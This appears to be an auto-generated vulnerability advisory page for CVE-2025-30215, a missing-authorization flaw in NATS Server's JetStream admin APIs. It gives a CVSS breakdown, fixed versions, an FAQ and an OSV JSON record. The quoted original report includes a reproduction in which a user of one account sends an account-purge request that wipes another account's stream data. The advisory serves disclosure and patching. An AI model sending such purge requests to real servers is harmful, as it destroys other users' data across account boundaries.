CVE-2025-30215: Github.com/nats io/nats server/v2 NATS Server May Fail To Vulnerability

CRITICAL
Advisory Identifier: GHSA-fhg8-qxh5-7q3w
CVSS 9.6
CWE-287 CWE-285
Published
Advisory Summary

CVE-2025-30215 is a CRITICAL (CVSS 9.6) nats server may fail to vulnerability (CWE-287: Improper Authentication) affecting Github.com/nats io/nats server/v2 libraries in the Go ecosystem. The issue involves nats server may fail to authorize certain jetstream admin apis. Remediation is available by upgrading affected packages to version 2.11.1, 2.10.27.

CVE-2025-30215 at a Glance

CVE Identifier CVE-2025-30215
GHSA Identifier GHSA-fhg8-qxh5-7q3w
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-287: Improper Authentication
Affected Product Github.com/nats io/nats server/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-30215

To remediate this vulnerability, upgrade all affected Github.com/nats io/nats server/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nats-io/nats-server/v2 fixed: 2.11.1
Upgrade github.com/nats-io/nats-server/v2 to 2.11.1
github.com/nats-io/nats-server/v2 fixed: 2.10.27
Upgrade github.com/nats-io/nats-server/v2 to 2.10.27
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nats-io/nats-server/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-30215, inspect your project dependencies for Github.com/nats io/nats server/v2:

inspect dependencies for github.com/nats-io/nats-server/v2

Analyze the terminal output to locate any version of Github.com/nats io/nats server/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/nats io/nats server/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Advisory The management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets. Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents. ### Affected versions NATS Server: * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27 ----- ## Original Report (Lightly edited to confirm some supposition and in the summary to use past tense) ### Summary nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move. In all cases, APIs are not properly restricted to system-account users. Instead, _any_ authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on `$JS.>`. Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause. Reproduction of the `ACCOUNT.PURGE` case is below. The others are like it. ### Details & Impact #### Issue 1: `$JS.API.ACCOUNT.PURGE.*` Any user may perform an account purge of any other account (including their own). Risk: total destruction of Jetstream configuration and data. #### Issue 2: `$JS.API.SERVER.REMOVE` Any user may remove servers from Jetstream clusters. Risk: Loss of data redundancy, reduction of service quality. #### Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE.*.*` and `CANCEL_MOVE` Any user may cause streams to be moved between servers. Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names. Similarly for `$JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*` #### Mitigations It appears that users without permission to publish on `$JS.API.ACCOUNT.>` or `$JS.API.SERVER.>` are unable to execute the above APIs. Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for `$JS.>` (or simply `>`), which allows the improper access to the system APIs above. #### Scope of impact Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users. While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable. #### Additional notes It appears that `$JS.API.META.LEADER.STEPDOWN` does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs. ### PoC #### Environment Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4 #### Reproduction steps ``` $ nats-server --version nats-server: v2.10.26 $ nats --version 0.1.6 $ cat nats-server.conf listen: '0.0.0.0:4233' jetstream: { store_dir: './tmp' } accounts: { '$SYS': { users: [{user: 'sys', password: 'sys'}] }, 'TEST': { jetstream: true, users: [{user: 'a', password: 'a'}] }, 'TEST2': { jetstream: true, users: [{user: 'b', password: 'b'}] } } $ nats-server -c ./nats-server.conf ... [90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf ... [90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233 ... # Authentication is effectively enabled by the server: $ nats -s nats://localhost:4233 account info nats: error: setup failed: nats: Authorization Violation $ nats -s nats://localhost:4233 account info --user sys --password wrong nats: error: setup failed: nats: Authorization Violation $ nats -s nats://localhost:4233 account info --user a --password wrong nats: error: setup failed: nats: Authorization Violation $ nats -s nats://localhost:4233 account info --user b --password wrong nats: error: setup failed: nats: Authorization Violation # Valid credentials work, and users properly matched to accounts: $ nats -s nats://localhost:4233 account info --user sys --password sys Account Information User: sys Account: $SYS ... $ nats -s nats://localhost:4233 account info --user a --password a Account Information User: a Account: TEST ... $ nats -s nats://localhost:4233 account info --user b --password b Account Information User: b Account: TEST2 ... # Add a stream and messages to account TEST (user 'a'): $ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults Stream stream1 was created ... $ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}" 11:50:05 Published 5 bytes to "s1" 11:50:05 Published 5 bytes to "s1" 11:50:05 Published 5 bytes to "s1" # Messages are correctly persisted on account TEST, and not on TEST2: $ nats -s nats://localhost:4233 --user a --password a stream ls ╭───────────────────────────────────────────────────────────────────────────────╮ │ Streams │ ├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤ │ Name │ Description │ Created │ Messages │ Size │ Last Message │ ├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤ │ stream1 │ │ 2025-03-02 11:48:49 │ 3 │ 111 B │ 46.01s │ ╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯ $ nats -s nats://localhost:4233 --user b --password b stream ls No Streams defined $ du -h tmp/jetstream 0B tmp/jetstream/TEST/streams/stream1/obs 8.0K tmp/jetstream/TEST/streams/stream1/msgs 16K tmp/jetstream/TEST/streams/stream1 16K tmp/jetstream/TEST/streams 16K tmp/jetstream/TEST 16K tmp/jetstream # User b (account TEST2) sends a PURGE command for account TEST (user a). # According to the source comments, user b shouldn't even be able to purge it's own account, much less another one. $ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' '' 11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST" 11:54:50 Received with rtt 1.528042ms {"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true} # From nats-server in response to the purge request: [90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true) # And indeed, the stream data is gone on account TEST: $ du -h tmp/jetstream 0B tmp/jetstream $ nats -s nats://localhost:4233 --user a --password a stream ls No Streams defined ```

CVE-2025-30215 Affected Github.com/nats io/nats server/v2 Versions

2 component(s)
Fixed Versions:
2.11.12.10.27
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nats-io/nats-server/v2
Go
≥ 2.11.0-RC.1
< 2.11.1
2.11.1
github.com/nats-io/nats-server/v2
Go
≥ 2.2.0
< 2.10.27
2.10.27

References

Frequently Asked Questions

What is CVE-2025-30215?
CVE-2025-30215 is a security vulnerability in Github.com/nats io/nats server/v2 involving NATS Server may fail to authorize certain Jetstream admin APIs under CWE-287: Improper Authentication.
Which Github.com/nats io/nats server/v2 versions are affected?
Affected versions include releases prior to 2.11.1, 2.10.27 across affected packages: github.com/nats-io/nats-server/v2.
What version fixes CVE-2025-30215?
Upgrading to 2.11.1, 2.10.27 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nats-io/nats-server/v2 affected?
Yes, github.com/nats-io/nats-server/v2 is affected in releases prior to 2.11.1, 2.10.27. Upgrade your dependency to 2.11.1, 2.10.27 or later.
What is the CVSS score of CVE-2025-30215?
CVE-2025-30215 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2025-30215?
CVE-2025-30215 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2025-30215?
Run the dependency tree command: 'inspect dependencies for github.com/nats-io/nats-server/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fhg8-qxh5-7q3w",
  "modified" : "2026-06-05T21:36:07Z",
  "published" : "2025-04-15T21:45:00Z",
  "aliases" : [ "CVE-2025-30215" ],
  "summary" : "NATS Server may fail to authorize certain Jetstream admin APIs",
  "details" : "## Advisory\n\nThe management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.\n\nSome of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.\n\n### Affected versions\n\nNATS Server:\n * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27\n\n-----\n\n## Original Report\n\n(Lightly edited to confirm some supposition and in the summary to use past tense)\n\n### Summary\n\nnats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove,  account stream move, and  account stream cancel-move.\n\nIn all cases, APIs are not properly restricted to system-account users. Instead, _any_ authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on `$JS.>`.\n\nOnly the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.\n\nReproduction of the `ACCOUNT.PURGE` case is below. The others are like it.\n\n\n### Details & Impact\n\n#### Issue 1: `$JS.API.ACCOUNT.PURGE.*`\n\nAny user may perform an account purge of any other account (including their own).\n\nRisk: total destruction of Jetstream configuration and data.\n\n\n#### Issue 2: `$JS.API.SERVER.REMOVE`\n\nAny user may remove servers from Jetstream clusters.\n\nRisk: Loss of data redundancy, reduction of service quality.\n\n\n#### Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE.*.*` and `CANCEL_MOVE`\n\nAny user may cause streams to be moved between servers.\n\nRisk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.\n\nSimilarly for `$JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*`\n\n\n#### Mitigations\n\nIt appears that users without permission to publish on `$JS.API.ACCOUNT.>` or `$JS.API.SERVER.>` are unable to execute the above APIs.\n\nUnfortunately, in many configurations, an 'admin' user for a single account will be given permissions for `$JS.>` (or simply `>`), which allows the improper access to the system APIs above.\n\n\n#### Scope of impact\n\nIssues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.\n\nWhile I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.\n\n\n#### Additional notes\n\nIt appears that `$JS.API.META.LEADER.STEPDOWN` does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.\n\n\n\n### PoC\n\n#### Environment\n\nTested with:\nnats-server 2.10.26 (installed via homebrew)\nnats cli 0.1.6 (installed via homebrew)\nmacOS 13.7.4\n\n\n#### Reproduction steps\n\n```\n$ nats-server --version\nnats-server: v2.10.26\n\n$ nats --version\n0.1.6\n\n$ cat nats-server.conf\nlisten: '0.0.0.0:4233'\njetstream: {\n  store_dir: './tmp'\n}\naccounts: {\n  '$SYS': {\n    users: [{user: 'sys', password: 'sys'}]\n  },\n  'TEST': {\n    jetstream: true,\n    users: [{user: 'a', password: 'a'}]\n  },\n  'TEST2': {\n    jetstream: true,\n    users: [{user: 'b', password: 'b'}]\n  }\n}\n\n$ nats-server -c ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233\n...\n\n# Authentication is effectively enabled by the server:\n$ nats -s nats://localhost:4233 account info\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user sys --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user a --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user b --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n# Valid credentials work, and users properly matched to accounts:\n$ nats -s nats://localhost:4233 account info --user sys --password sys\nAccount Information\n                      User: sys\n                   Account: $SYS\n...\n\n$ nats -s nats://localhost:4233 account info --user a --password a\nAccount Information\n                           User: a\n                        Account: TEST\n...\n\n$ nats -s nats://localhost:4233 account info --user b --password b\nAccount Information\n                           User: b\n                        Account: TEST2\n...\n\n# Add a stream and messages to account TEST (user 'a'):\n$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults\nStream stream1 was created\n...\n\n$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 \"msg {{Count}}\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n\n# Messages are correctly persisted on account TEST, and not on TEST2:\n$ nats -s nats://localhost:4233 --user a --password a stream ls\n╭───────────────────────────────────────────────────────────────────────────────╮\n│                                    Streams                                    │\n├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤\n│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │\n├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤\n│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │\n╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯\n\n$ nats -s nats://localhost:4233 --user b --password b stream ls\nNo Streams defined\n\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream/TEST/streams/stream1/obs\n8.0K\ttmp/jetstream/TEST/streams/stream1/msgs\n 16K\ttmp/jetstream/TEST/streams/stream1\n 16K\ttmp/jetstream/TEST/streams\n 16K\ttmp/jetstream/TEST\n 16K\ttmp/jetstream\n\n# User b (account TEST2) sends a PURGE command for account TEST (user a).\n# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.\n$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''\n11:54:50 Sending request on \"$JS.API.ACCOUNT.PURGE.TEST\"\n11:54:50 Received with rtt 1.528042ms\n{\"type\":\"io.nats.jetstream.api.v1.account_purge_response\",\"initiated\":true}\n\n# From nats-server in response to the purge request:\n[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)\n\n# And indeed, the stream data is gone on account TEST:\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream\n\n$ nats -s nats://localhost:4233 --user a --password a stream ls\nNo Streams defined\n\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nats-io/nats-server/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.11.0-RC.1"
      }, {
        "fixed" : "2.11.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nats-io/nats-server/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.10.27"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nats-io/nats-server/security/advisories/GHSA-fhg8-qxh5-7q3w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30215"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nats-io/nats-server/commit/3e7e4645a24e829a36b4210f2d7c34dea7f7a424"
  }, {
    "type" : "WEB",
    "url" : "https://advisories.nats.io/CVE/secnote-2025-01.txt"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nats-io/nats-server"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/GO-2025-3600"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2025/04/08/5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-15T21:45:00Z",
    "nvd_published_at" : "2025-04-16T00:15:19Z"
  }
}